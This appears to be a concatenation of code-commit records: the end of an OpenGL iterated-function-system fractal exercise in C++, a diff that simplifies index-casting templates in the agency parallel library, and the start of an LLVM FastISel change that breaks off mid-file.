block of random data\n  for (int i = 0; i < args->points; i++) {\n    double x = args->mtrand.rand();\n    double y = args->mtrand.rand();\n    double z = args->mtrand.rand();\n    glm::vec4 pt(x,y,z,1);\n\n\n    \/\/ ASSIGNMENT: manipulate point\n    \/\/ TOD0: test\n    for (ifs_iters = 0; ifs_iters < args->iters; ifs_iters++)\n    {\n      int pt_i;\n      float probability_r = 1.0;\n      \/\/ randomly select index of transform to apply based on probabilities\n      for (pt_i = 0; pt_i < transforms.size() - 1; pt_i++){\n        std::bernoulli_distribution bd( probabilities[i] \/ probability_r );\n        if bd(args->mtrand.rand()) break;\n        probability_r -= probabilities[i];\n      }\n      \/\/ apply tranform to point\n      pt *= transforms[pt_i];\n\n    }\n\n    \/\/ store point\n    points[i] = VertexPosColor(pt);\n  }\n\n  \/\/ create a pointer for the VBO\n  glGenVertexArrays(1, &VaoId);\n  glBindVertexArray(VaoId);\n  glGenBuffers(1, &VboId);\n  glBindBuffer(GL_ARRAY_BUFFER,VboId); \n  glBufferData(GL_ARRAY_BUFFER,sizeof(VertexPosColor) * args->points,points,GL_STATIC_DRAW); \n  glEnableVertexAttribArray(0);\n  glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, sizeof(VertexPosColor), 0);\n  glEnableVertexAttribArray(1);\n  glVertexAttribPointer(1, 4, GL_FLOAT, GL_FALSE, sizeof(VertexPosColor), (GLvoid*)sizeof(glm::vec4));\n  \n  \/\/ increase the size of the points slightly\n  glPointSize(2.0);\n\n  delete [] points;\n  HandleGLError(\"leaving setupPoints\");\n}\n\n\nvoid IFS::drawPoints() const {\n  HandleGLError(\"enter drawPoints\");\n  glDrawArrays(GL_POINTS, 0, args->points);\n  HandleGLError(\"leaving drawPoints\");\n}\n\n\nvoid IFS::cleanupPoints() {\n  glDeleteBuffers(1, &VaoId);\n  glDeleteBuffers(1, &VboId);\n}\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\nvoid IFS::setupCube() {\n\n  HandleGLError(\"enter setupCube\");\n  \n  VertexPosColor Vertices[] =\n    {\n      \/\/ back face, cyan\n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,0, 1.0f),glm::vec4(0,1,1, 1.0f)),\n      \n      \/\/ front face, red\n      VertexPosColor(glm::vec4(0,0,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,0,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(1,0,0, 1.0f)),\n      \n      \/\/ bottom face, purple\n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,1, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(0,0,1, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,0, 1.0f),glm::vec4(1,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,1, 1.0f),glm::vec4(1,0,1, 1.0f)),\n    \n      \/\/ top face, green\n      VertexPosColor(glm::vec4(0,1,0, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,1, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,1,0, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(0,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,0, 1.0f),glm::vec4(0,1,0, 1.0f)),\n\n      \/\/ left face, yellow\n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,0,1, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,1, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      \n      VertexPosColor(glm::vec4(0,0,0, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,1, 1.0f),glm::vec4(1,1,0, 1.0f)),\n      VertexPosColor(glm::vec4(0,1,0, 1.0f),glm::vec4(1,1,0, 1.0f)),\n\n      \/\/ right face, blue\n      VertexPosColor(glm::vec4(1,0,0, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,0,1, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      \n      VertexPosColor(glm::vec4(1,0,0, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,0, 1.0f),glm::vec4(0,0,1, 1.0f)),\n      VertexPosColor(glm::vec4(1,1,1, 1.0f),glm::vec4(0,0,1, 1.0f))\n    };\n  \n  glGenVertexArrays(1, &VaoId);\n  glBindVertexArray(VaoId);\n  glGenBuffers(1, &VboId);\n  glBindBuffer(GL_ARRAY_BUFFER, VboId);\n  glBufferData(GL_ARRAY_BUFFER, sizeof(Vertices), Vertices, GL_STATIC_DRAW);\n  glEnableVertexAttribArray(0);\n  glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, sizeof(VertexPosColor), 0);\n  glEnableVertexAttribArray(1);\n  glVertexAttribPointer(1, 4, GL_FLOAT, GL_FALSE, sizeof(VertexPosColor), (GLvoid*)sizeof(glm::vec4));\n  \n  HandleGLError(\"leaving setupCcube\");\n}\n\n\nvoid IFS::drawCube() const {\n  HandleGLError(\"in drawCube\");\n  glDrawArrays(GL_TRIANGLES, 0, NUM_CUBE_VERTS);\n  HandleGLError(\"leaving drawCube\");\n}\n\n\nvoid IFS::cleanupCube() {\n  glDeleteBuffers(1, &VaoId);\n  glDeleteBuffers(1, &VboId);\n}\n\n\/\/ ====================================================================\n\/\/ ====================================================================\n\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <type_traits>\n#include <tuple>\n#include <agency\/detail\/tuple.hpp>\n#include <agency\/detail\/shape_cast.hpp>\n#include <agency\/coordinate.hpp>\n#include <agency\/detail\/tuple_utility.hpp>\n#include <agency\/detail\/point_size.hpp>\n\nnamespace agency\n{\nnamespace detail\n{\n\n\ntemplate<class Tuple,\n         class = typename std::enable_if<\n           !std::is_integral<\n              typename std::decay<Tuple>::type\n            >::value\n         >::type>\n__AGENCY_ANNOTATION\nauto wrap_scalar(Tuple&& t)\n  -> decltype(std::forward<Tuple>(t))\n{\n  return std::forward<Tuple>(t);\n}\n\n\ntemplate<class T,\n         class = typename std::enable_if<\n           std::is_integral<\n             typename std::decay<T>::type\n           >::value\n         >::type>\n__AGENCY_ANNOTATION\nauto wrap_scalar(T&& x)\n  -> decltype(\n       rebind_point_size_t<\n         typename std::decay<T>::type,\n         1\n       >{std::forward<T>(x)}\n     )\n{\n  return rebind_point_size_t<\n    typename std::decay<T>::type,\n    1\n  >{std::forward<T>(x)};\n}\n\n\ntemplate<class IndexTuple, class Size>\n__AGENCY_ANNOTATION\nauto project_index_and_shape_helper(const IndexTuple& idx, Size size_of_second_to_last_dimension)\n  -> typename std::decay<\n       decltype(\n         unwrap_single_element_tuple(__tu::tuple_drop_last(idx))\n       )\n     >::type\n{\n  auto result = detail::tuple_drop_last(idx);\n\n  \/\/ multiply the index by the size of the second to last dimension and add\n  \/\/ that to the second to last index\n  __tu::tuple_last(result) += size_of_second_to_last_dimension * __tu::tuple_last(idx);\n\n  return unwrap_single_element_tuple(result);\n}\n\n\ntemplate<class IndexTuple, class ShapeTuple>\n__AGENCY_ANNOTATION\nauto project_index(const IndexTuple& idx, const ShapeTuple& shape)\n  -> decltype(\n       project_index_and_shape_helper(idx, __tu::tuple_last(detail::tuple_drop_last(shape)))\n     )\n{\n  \/\/ to project an index into the next lower dimension,\n  \/\/ we combine the last two dimensions into one\n\n  \/\/ for a 2D example, consider finding the 1D rank of element (2,2) \n  \/\/ in a 5 x 4-shaped grid.\n  \/\/ element (2,2)'s rank is 12 in this grid\n  \/\/ given idx = (x,y) = (2,2) and shape = (width,height) = (5,4)\n  \/\/ (2,2)'s 1D rank is computed as\n  \/\/ y * width + x\n\n  auto size_of_second_to_last_dimension = __tu::tuple_last(detail::tuple_drop_last(shape));\n\n  return project_index_and_shape_helper(idx, size_of_second_to_last_dimension);\n}\n\n\ntemplate<class IndexTuple, class ShapeTuple>\n__AGENCY_ANNOTATION\nauto project_index_and_shape(const IndexTuple& idx, const ShapeTuple& shape)\n  -> decltype(\n       detail::make_tuple(\n         project_index(idx, shape),\n         project_shape(shape)\n       )\n     )\n{\n  \/\/ to project an index into the next lower dimension,\n  \/\/ we combine the last two dimensions into one\n\n  \/\/ for a 2D example, consider finding the 1D rank of element (2,2) \n  \/\/ in a 5 x 4-shaped grid.\n  \/\/ element (2,2)'s rank is 12 in this grid\n  \/\/ given idx = (x,y) = (2,2) and shape = (width,height) = (5,4)\n  \/\/ (2,2)'s 1D rank is computed as\n  \/\/ y * width + x\n  auto projected_index = project_index(idx, shape);\n\n  \/\/ project the shape\n  \/\/ this creates a lower dimensional grid with\n  \/\/ the same number of cells\n  \/\/ for the shape = (5,4) example, this will compute\n  \/\/ a 1D shape of 20\n  auto projected_shape = project_shape(shape);\n\n  return detail::make_tuple(projected_index, projected_shape);\n}\n\n\nnamespace index_cast_detail\n{\n\n\n\/\/ to lift a point-like type, add a dimension\ntemplate<class Index>\nstruct lift_t_impl\n{\n  using type = rebind_point_size_t<Index, point_size<Index>::value + 1>;\n};\n\n\n\/\/ to lift a heterogeneous Tuple-like type, repeat the type of the last element\ntemplate<template<class...> class tuple, class T, class... Types>\nstruct lift_t_impl<tuple<T,Types...>>\n{\n  using last_type = typename std::tuple_element<sizeof...(Types)-1, std::tuple<Types...>>::type;\n  using type = tuple<T,Types...,last_type>;\n};\n\n\ntemplate<class T>\nstruct make\n{\n  template<class... Args>\n  __AGENCY_ANNOTATION\n  T operator()(Args&&... args) const\n  {\n    return T{std::forward<Args>(args)...};\n  }\n};\n\n\n} \/\/ end index_cast_detail\n\n\ntemplate<class Point>\nusing lift_t = typename index_cast_detail::lift_t_impl<Point>::type;\n\n\ntemplate<class Index, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ndetail::tuple<lift_t<Index>, lift_t<FromShape>>\n  lift_index(const Index& idx, const FromShape& from_shape, const ToShape& to_shape)\n{\n  \/\/ to lift idx into to_shape,\n  \/\/ take the last element of idx and divide by the corresponding element of to_shape\n  \/\/ replace the last element of idx with the remainder and append the quotient\n  const auto i = index_size<Index>::value - 1;\n\n  auto idx_tuple = wrap_scalar(idx);\n\n  auto intermediate_result = idx_tuple;\n  __tu::tuple_last(intermediate_result) %= detail::get<i>(to_shape);\n\n  auto index_maker = index_cast_detail::make<lift_t<Index>>{};\n\n  auto lifted_index = __tu::tuple_append_invoke(intermediate_result, __tu::tuple_last(idx_tuple) \/ detail::get<i>(to_shape), index_maker);\n\n  \/\/ to lift from_shape, simply append the element of to_shape we just divided by\n  auto shape_maker = index_cast_detail::make<lift_t<FromShape>>{};\n  auto lifted_shape = __tu::tuple_append_invoke(wrap_scalar(from_shape), detail::get<i>(to_shape), shape_maker);\n\n  return detail::make_tuple(lifted_index, lifted_shape);\n}\n\n\n\/\/ index_cast is recursive and has various overloads\n\/\/ declare them here before their definitions\n\n\/\/ scalar -> scalar (base case)\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value == index_size<ToIndex>::value) &&\n  (index_size<FromIndex>::value == 1),\n  ToShape\n>::type\n  index_cast(const FromIndex& from_idx, const FromShape& from_shape, const ToShape& to_shape);\n\n\n\/\/ recursive case for casting two indices of equal size\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value == index_size<ToIndex>::value) &&\n  (index_size<FromIndex>::value > 1),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape& to_shape);\n\n\n\/\/ upcast (recursive)\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value < index_size<ToIndex>::value),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape&   to_shape);\n\n\n\/\/ downcast (recursive)\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value > index_size<ToIndex>::value),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape& to_shape);\n\n\n\/\/ definitions of index_cast follow\n\n\n\/\/ terminal case for casting indices of size 1\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value == index_size<ToIndex>::value) &&\n  (index_size<FromIndex>::value == 1),\n  ToShape\n>::type\n  index_cast(const FromIndex& from_idx, const FromShape&, const ToShape&)\n{\n  \/\/ from_idx might not be a tuple, but instead a scalar type\n  \/\/ to ensure we can get the 0th value from from_idx in a uniform way, wrap it first\n  return static_cast<ToIndex>(detail::get<0>(wrap_scalar(from_idx)));\n}\n\n\nstruct index_cast_functor\n{\n  template<class ToIndex, class FromIndex, class FromShape, class ToShape>\n  __AGENCY_ANNOTATION\n  auto operator()(const ToIndex&, const FromIndex& from_idx, const FromShape& from_shape, const ToShape& to_shape)\n    -> decltype(\n          index_cast<ToIndex>(from_idx, from_shape, to_shape)\n       )\n  {\n    return index_cast<ToIndex>(from_idx, from_shape, to_shape);\n  }\n};\n\n\n\n\/\/ when both index types are the same size, index_cast recursively maps itself across the tuples\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value == index_size<ToIndex>::value) &&\n  (index_size<FromIndex>::value > 1),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape& to_shape)\n{\n  return __tu::tuple_map_with_make(index_cast_functor{}, index_cast_detail::make<ToIndex>{}, ToIndex{}, from_idx, from_shape, to_shape);\n}\n\n\n\/\/ when FromIndex has fewer elements than ToIndex, we lift it and then cast\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value < index_size<ToIndex>::value),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape&   to_shape)\n{\n  auto lifted_idx_and_shape = lift_index(from_idx, from_shape, to_shape);\n  return index_cast<ToIndex>(detail::get<0>(lifted_idx_and_shape), detail::get<1>(lifted_idx_and_shape), to_shape);\n}\n\n\n\/\/ when FromIndex has more elements than ToIndex, we project it and then cast\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value > index_size<ToIndex>::value),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape& to_shape)\n{\n  auto projected_idx_and_shape = project_index_and_shape(from_idx, from_shape);\n  return index_cast<ToIndex>(detail::get<0>(projected_idx_and_shape), detail::get<1>(projected_idx_and_shape), to_shape);\n}\n\n                     \n} \/\/ end detail\n} \/\/ end agency\n\n<commit_msg>eliminate unnecessary project_index_and_shape() function<commit_after>#pragma once\n\n#include <type_traits>\n#include <tuple>\n#include <agency\/detail\/tuple.hpp>\n#include <agency\/detail\/shape_cast.hpp>\n#include <agency\/coordinate.hpp>\n#include <agency\/detail\/tuple_utility.hpp>\n#include <agency\/detail\/point_size.hpp>\n\nnamespace agency\n{\nnamespace detail\n{\n\n\ntemplate<class Tuple,\n         class = typename std::enable_if<\n           !std::is_integral<\n              typename std::decay<Tuple>::type\n            >::value\n         >::type>\n__AGENCY_ANNOTATION\nauto wrap_scalar(Tuple&& t)\n  -> decltype(std::forward<Tuple>(t))\n{\n  return std::forward<Tuple>(t);\n}\n\n\ntemplate<class T,\n         class = typename std::enable_if<\n           std::is_integral<\n             typename std::decay<T>::type\n           >::value\n         >::type>\n__AGENCY_ANNOTATION\nauto wrap_scalar(T&& x)\n  -> decltype(\n       rebind_point_size_t<\n         typename std::decay<T>::type,\n         1\n       >{std::forward<T>(x)}\n     )\n{\n  return rebind_point_size_t<\n    typename std::decay<T>::type,\n    1\n  >{std::forward<T>(x)};\n}\n\n\ntemplate<class IndexTuple, class Size>\n__AGENCY_ANNOTATION\nauto project_index_helper(const IndexTuple& idx, Size size_of_second_to_last_dimension)\n  -> typename std::decay<\n       decltype(\n         unwrap_single_element_tuple(__tu::tuple_drop_last(idx))\n       )\n     >::type\n{\n  auto result = detail::tuple_drop_last(idx);\n\n  \/\/ multiply the index by the size of the second to last dimension and add\n  \/\/ that to the second to last index\n  __tu::tuple_last(result) += size_of_second_to_last_dimension * __tu::tuple_last(idx);\n\n  return unwrap_single_element_tuple(result);\n}\n\n\ntemplate<class IndexTuple, class ShapeTuple>\n__AGENCY_ANNOTATION\nauto project_index(const IndexTuple& idx, const ShapeTuple& shape)\n  -> decltype(\n       project_index_helper(idx, __tu::tuple_last(detail::tuple_drop_last(shape)))\n     )\n{\n  \/\/ to project an index into the next lower dimension,\n  \/\/ we combine the last two dimensions into one\n\n  \/\/ for a 2D example, consider finding the 1D rank of element (2,2) \n  \/\/ in a 5 x 4-shaped grid.\n  \/\/ element (2,2)'s rank is 12 in this grid\n  \/\/ given idx = (x,y) = (2,2) and shape = (width,height) = (5,4)\n  \/\/ (2,2)'s 1D rank is computed as\n  \/\/ y * width + x\n\n  auto size_of_second_to_last_dimension = __tu::tuple_last(detail::tuple_drop_last(shape));\n\n  return detail::project_index_helper(idx, size_of_second_to_last_dimension);\n}\n\n\nnamespace index_cast_detail\n{\n\n\n\/\/ to lift a point-like type, add a dimension\ntemplate<class Index>\nstruct lift_t_impl\n{\n  using type = rebind_point_size_t<Index, point_size<Index>::value + 1>;\n};\n\n\n\/\/ to lift a heterogeneous Tuple-like type, repeat the type of the last element\ntemplate<template<class...> class tuple, class T, class... Types>\nstruct lift_t_impl<tuple<T,Types...>>\n{\n  using last_type = typename std::tuple_element<sizeof...(Types)-1, std::tuple<Types...>>::type;\n  using type = tuple<T,Types...,last_type>;\n};\n\n\ntemplate<class T>\nstruct make\n{\n  template<class... Args>\n  __AGENCY_ANNOTATION\n  T operator()(Args&&... args) const\n  {\n    return T{std::forward<Args>(args)...};\n  }\n};\n\n\n} \/\/ end index_cast_detail\n\n\ntemplate<class Point>\nusing lift_t = typename index_cast_detail::lift_t_impl<Point>::type;\n\n\ntemplate<class Index, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ndetail::tuple<lift_t<Index>, lift_t<FromShape>>\n  lift_index(const Index& idx, const FromShape& from_shape, const ToShape& to_shape)\n{\n  \/\/ to lift idx into to_shape,\n  \/\/ take the last element of idx and divide by the corresponding element of to_shape\n  \/\/ replace the last element of idx with the remainder and append the quotient\n  const auto i = index_size<Index>::value - 1;\n\n  auto idx_tuple = wrap_scalar(idx);\n\n  auto intermediate_result = idx_tuple;\n  __tu::tuple_last(intermediate_result) %= detail::get<i>(to_shape);\n\n  auto index_maker = index_cast_detail::make<lift_t<Index>>{};\n\n  auto lifted_index = __tu::tuple_append_invoke(intermediate_result, __tu::tuple_last(idx_tuple) \/ detail::get<i>(to_shape), index_maker);\n\n  \/\/ to lift from_shape, simply append the element of to_shape we just divided by\n  auto shape_maker = index_cast_detail::make<lift_t<FromShape>>{};\n  auto lifted_shape = __tu::tuple_append_invoke(wrap_scalar(from_shape), detail::get<i>(to_shape), shape_maker);\n\n  return detail::make_tuple(lifted_index, lifted_shape);\n}\n\n\n\/\/ index_cast is recursive and has various overloads\n\/\/ declare them here before their definitions\n\n\/\/ scalar -> scalar (base case)\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value == index_size<ToIndex>::value) &&\n  (index_size<FromIndex>::value == 1),\n  ToShape\n>::type\n  index_cast(const FromIndex& from_idx, const FromShape& from_shape, const ToShape& to_shape);\n\n\n\/\/ recursive case for casting two indices of equal size\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value == index_size<ToIndex>::value) &&\n  (index_size<FromIndex>::value > 1),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape& to_shape);\n\n\n\/\/ upcast (recursive)\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value < index_size<ToIndex>::value),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape&   to_shape);\n\n\n\/\/ downcast (recursive)\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value > index_size<ToIndex>::value),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape& to_shape);\n\n\n\/\/ definitions of index_cast follow\n\n\n\/\/ terminal case for casting indices of size 1\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value == index_size<ToIndex>::value) &&\n  (index_size<FromIndex>::value == 1),\n  ToShape\n>::type\n  index_cast(const FromIndex& from_idx, const FromShape&, const ToShape&)\n{\n  \/\/ from_idx might not be a tuple, but instead a scalar type\n  \/\/ to ensure we can get the 0th value from from_idx in a uniform way, wrap it first\n  return static_cast<ToIndex>(detail::get<0>(wrap_scalar(from_idx)));\n}\n\n\nstruct index_cast_functor\n{\n  template<class ToIndex, class FromIndex, class FromShape, class ToShape>\n  __AGENCY_ANNOTATION\n  auto operator()(const ToIndex&, const FromIndex& from_idx, const FromShape& from_shape, const ToShape& to_shape)\n    -> decltype(\n          index_cast<ToIndex>(from_idx, from_shape, to_shape)\n       )\n  {\n    return index_cast<ToIndex>(from_idx, from_shape, to_shape);\n  }\n};\n\n\n\n\/\/ when both index types are the same size, index_cast recursively maps itself across the tuples\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value == index_size<ToIndex>::value) &&\n  (index_size<FromIndex>::value > 1),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape& to_shape)\n{\n  return __tu::tuple_map_with_make(index_cast_functor{}, index_cast_detail::make<ToIndex>{}, ToIndex{}, from_idx, from_shape, to_shape);\n}\n\n\n\/\/ when FromIndex has fewer elements than ToIndex, we lift it and then cast\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value < index_size<ToIndex>::value),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape&   to_shape)\n{\n  auto lifted_idx_and_shape = lift_index(from_idx, from_shape, to_shape);\n  return index_cast<ToIndex>(detail::get<0>(lifted_idx_and_shape), detail::get<1>(lifted_idx_and_shape), to_shape);\n}\n\n\n\/\/ when FromIndex has more elements than ToIndex, we project it and then cast\ntemplate<class ToIndex, class FromIndex, class FromShape, class ToShape>\n__AGENCY_ANNOTATION\ntypename std::enable_if<\n  (index_size<FromIndex>::value > index_size<ToIndex>::value),\n  ToIndex\n>::type\n  index_cast(const FromIndex& from_idx,\n             const FromShape& from_shape,\n             const ToShape& to_shape)\n{\n  return index_cast<ToIndex>(detail::project_index(from_idx, from_shape), detail::project_shape(from_shape), to_shape);\n}\n\n                     \n} \/\/ end detail\n} \/\/ end agency\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/===-- FastISel.cpp - Implementation of the FastISel class --------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains the implementation of the FastISel class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/CodeGen\/FastISel.h\"\n#include \"llvm\/CodeGen\/MachineInstrBuilder.h\"\n#include \"llvm\/CodeGen\/MachineRegisterInfo.h\"\n#include \"llvm\/Target\/TargetInstrInfo.h\"\nusing namespace llvm;\n\nBasicBlock::iterator\nFastISel::SelectInstructions(BasicBlock::iterator Begin, BasicBlock::iterator End,\n                             DenseMap<const Value*, unsigned> &ValueMap) {\n  BasicBlock::iterator I = Begin;\n\n  for (; I != End; ++I) {\n    switch (I->getOpcode()) {\n    case Instruction::Add: {\n      unsigned Op0 = ValueMap[I->getOperand(0)];\n      unsigned Op1 = ValueMap[I->getOperand(1)];\n      MVT VT = MVT::getMVT(I->getType(), \/*HandleUnknown=*\/true);\n      if (VT == MVT::Other || !VT.isSimple()) {\n        \/\/ Unhandled type. Halt \"fast\" selection and bail.\n        return I;\n      }\n      unsigned ResultReg = FastEmit_rr(VT.getSimpleVT(), ISD::ADD, Op0, Op1);\n      if (ResultReg == 0) {\n        \/\/ Target-specific code wasn't able to find a machine opcode for\n        \/\/ the given ISD opcode and type. Halt \"fast\" selection and bail.\n        return I;\n      }\n      ValueMap[I] = ResultReg;\n      break;\n    }\n    default:\n      \/\/ Unhandled instruction. Halt \"fast\" selection and bail.\n      return I;\n    }\n  }\n\n  return I;\n}\n\nFastISel::~FastISel() {}\n\nunsigned FastISel::FastEmit_(MVT::SimpleValueType, ISD::NodeType) {\n  return 0;\n}\n\nunsigned FastISel::FastEmit_r(MVT::SimpleValueType, ISD::NodeType,\n                              unsigned \/*Op0*\/) {\n  return 0;\n}\n\nunsigned FastISel::FastEmit_rr(MVT::SimpleValueType, ISD::NodeType,\n                               unsigned \/*Op0*\/, unsigned \/*Op0*\/) {\n  return 0;\n}\n\nunsigned FastISel::FastEmitInst_(unsigned MachineInstOpcode,\n                                    const TargetRegisterClass* RC) {\n  MachineRegisterInfo &MRI = MF->getRegInfo();\n  const TargetInstrDesc &II = TII->get(MachineInstOpcode);\n  unsigned ResultReg = MRI.createVirtualRegister(RC);\n\n  MachineInstr *MI = BuildMI(*MF, II, ResultReg);\n\n  MBB->push_back(MI);\n  return ResultReg;\n}\n\nunsigned FastISel::FastEmitInst_r(unsigned MachineInstOpcode,\n                                  const TargetRegisterClass *RC,\n                                  unsigned Op0) {\n  MachineRegisterInfo &MRI = MF->getRegInfo();\n  const TargetInstrDesc &II = TII->get(MachineInstOpcode);\n  unsigned ResultReg = MRI.createVirtualRegister(RC);\n\n  MachineInstr *MI = BuildMI(*MF, II, ResultReg);\n  MI->addOperand(MachineOperand::CreateReg(Op0, false));\n\n  MBB->push_back(MI);\n  return ResultReg;\n}\n\nunsigned FastISel::FastEmitInst_rr(unsigned MachineInstOpcode,\n                                   const TargetRegisterClass *RC,\n                                   unsigned Op0, unsigned Op1) {\n  MachineRegisterInfo &MRI = MF->getRegInfo();\n  const TargetInstrDesc &II = TII->get(MachineInstOpcode);\n  unsigned ResultReg = MRI.createVirtualRegister(RC);\n\n  MachineInstr *MI = BuildMI(*MF, II, ResultReg);\n  MI->addOperand(MachineOperand::CreateReg(Op0, false));\n  MI->addOperand(MachineOperand::CreateReg(Op1, false));\n\n  MBB->push_back(MI);\n  return ResultReg;\n}\n<commit_msg>Support unconditional fall-through branches in FastISel.<commit_after>\/\/\/===-- FastISel.cpp - Implementation of the FastISel class --------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains the implementation of the FastISel class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Instructions.h\"\n#include \"llvm\/CodeGen\/FastISel.h\"\n#include \"llvm\/CodeGen\/MachineInstrBuilder.h\"\n#include \"llvm\/CodeGen\/MachineRegisterInfo.h\"\n#include 